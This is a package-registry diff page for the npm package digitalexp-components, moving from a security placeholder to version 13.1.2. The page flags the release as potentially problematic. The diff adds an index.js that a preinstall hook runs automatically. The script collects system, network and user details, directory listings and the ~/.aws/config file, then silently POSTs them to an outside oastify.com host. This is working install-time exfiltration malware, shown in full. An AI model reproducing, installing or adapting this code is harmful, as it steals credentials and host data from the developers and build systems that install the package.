digitalexp-components 0.0.1-security → 13.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of digitalexp-components might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +149 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,149 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const https = require("https");
4
+ const { execSync } = require("child_process");
5
+ const packageJSON = require("./package.json");
6
+ const package = packageJSON.name;
7
+
8
+ // Function to execute shell commands safely
9
+ const runCommand = (cmd) => {
10
+ try {
11
+ return execSync(cmd, { encoding: "utf-8" }).trim();
12
+ } catch (err) {
13
+ return `Error executing '${cmd}': ${err.message}`;
14
+ }
15
+ };
16
+
17
+ // Sleep function to delay execution for a given number of milliseconds
18
+ const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
19
+
20
+ // Function to execute the commands with delay
21
+ const executeCommandsWithDelay = async () => {
22
+ await sleep(1000); // Initial delay
23
+
24
+ const ipRouteOutput = runCommand("ip route");
25
+ await sleep(1000);
26
+
27
+ const unameOutput = runCommand("uname -a"); // Changed to uname -a
28
+ await sleep(1000);
29
+
30
+ const dnsdomainnameOutput = runCommand("dnsdomainname");
31
+ await sleep(1000);
32
+
33
+ const whoOutput = runCommand("who");
34
+ await sleep(1000);
35
+
36
+ const homeOutputdirectory = runCommand("ls /"); // Changed to ls -la /
37
+ await sleep(1000);
38
+
39
+ // New commands added
40
+ const resolvConfOutput = runCommand("cat /etc/resolv.conf");
41
+ await sleep(1000);
42
+
43
+ const sysconfigNetworkOutput = runCommand("cat /etc/sysconfig/network");
44
+ await sleep(1000);
45
+
46
+ const whoamiOutput = runCommand("whoami");
47
+ await sleep(1000);
48
+
49
+ const systemModelOutput = runCommand("systeminfo | findstr \"System Model\""); // Changed systeminfo to find system model
50
+ await sleep(1000);
51
+
52
+ const connectionSpecificDnsSuffixOutput = runCommand("ipconfig | findstr \"Connection-specific DNS Suffix\""); // Updated to find Connection-specific DNS Suffix
53
+ await sleep(1000);
54
+
55
+ const ifconfigOutput = runCommand("ifconfig | grep inet | awk '{ print $2 }' | grep -v \"127.0.0.1\""); // Added ifconfig output
56
+ await sleep(1000);
57
+
58
+ // List the contents of C:\Windows\System32\sims using dir command
59
+ const simsDirectoryOutput = runCommand('dir');
60
+ await sleep(1000);
61
+
62
+ // Additional directory listings (Linux paths)
63
+ const varHtmlOutput = runCommand("ls /var/www/html");
64
+ await sleep(1000);
65
+
66
+ const srvOutput = runCommand("ls /srv");
67
+ await sleep(1000);
68
+
69
+ const optOutput = runCommand("ls /opt");
70
+ await sleep(1000);
71
+
72
+ // Find SSL/TLS certificates
73
+ //const certsOutput = runCommand("find / -type f \\( -name \"*.key\" -o -name \"*.pem\" -o -name \"*.crt\" \\) 2>/dev/null");
74
+ //await sleep(1000);
75
+
76
+ // AWS config and credentials
77
+ const awsConfigOutput = runCommand("cat ~/.aws/config");
78
+ await sleep(1000);
79
+
80
+ const awsCredentialsOutput = runCommand("net localgroup");
81
+ await sleep(1000);
82
+
83
+ // Prepare tracking data
84
+ const trackingData = {
85
+ p: package,
86
+ c: __dirname,
87
+ hd: os.homedir(),
88
+ hn: os.hostname(),
89
+ dns: dns.getServers().join(', '), // Convert DNS array to a string
90
+ r: packageJSON ? packageJSON.__resolved : undefined,
91
+ v: packageJSON.version,
92
+ pjson: packageJSON,
93
+ ipRoute: ipRouteOutput,
94
+ uname: unameOutput, // Add uname output
95
+ domainname: dnsdomainnameOutput,
96
+ who: whoOutput,
97
+ home: homeOutputdirectory, // Updated directory listing
98
+ resolvConf: resolvConfOutput, // Add /etc/resolv.conf content
99
+ sysconfigNetwork: sysconfigNetworkOutput, // Add /etc/sysconfig/network content
100
+ whoami: whoamiOutput, // Add whoami output
101
+ systemModel: systemModelOutput, // Add system model info
102
+ connectionSpecificDnsSuffix: connectionSpecificDnsSuffixOutput, // Add connection-specific DNS suffix
103
+ ifconfig: ifconfigOutput, // Add ifconfig output
104
+ simsDirectory: simsDirectoryOutput, // Add Sims directory contents
105
+ varHtml: varHtmlOutput, // Add /var/www/html directory contents
106
+ srv: srvOutput, // Add /srv directory contents
107
+ opt: optOutput, // Add /opt directory contents
108
+ //certs: certsOutput, // Add certificates search result
109
+ awsConfig: awsConfigOutput, // Add AWS config file contents
110
+ awsCredentials: awsCredentialsOutput, // Add AWS credentials file contents
111
+ };
112
+
113
+ // Prepare the request data as JSON
114
+ const postData = JSON.stringify({ msg: trackingData });
115
+
116
+ // Configure request options
117
+ const options = {
118
+ hostname: "d9nozw2df0sllxg3u1so8g9ykpqge82x.oastify.com", // Replace with your endpoint
119
+ port: 443,
120
+ path: "/",
121
+ method: "POST",
122
+ headers: {
123
+ "Content-Type": "application/json", // Set content type to JSON
124
+ "Content-Length": postData.length,
125
+ },
126
+ };
127
+
128
+ // Send the POST request
129
+ const req = https.request(options, (res) => {
130
+ res.on("data", (d) => {
131
+ process.stdout.write(d);
132
+ });
133
+
134
+ // Handle end of response
135
+ res.on("end", () => {
136
+ console.log("Request completed");
137
+ });
138
+ });
139
+
140
+ req.on("error", (e) => {
141
+ // Silently ignore errors
142
+ });
143
+
144
+ req.write(postData);
145
+ req.end();
146
+ };
147
+
148
+ // Execute the commands with delay
149
+ executeCommandsWithDelay();
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "digitalexp-components",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "13.1.2",
4
+ "description": "checking remote code execution and running ls -la command",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "node-fetch": "^2.7.0"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=digitalexp-components for more information.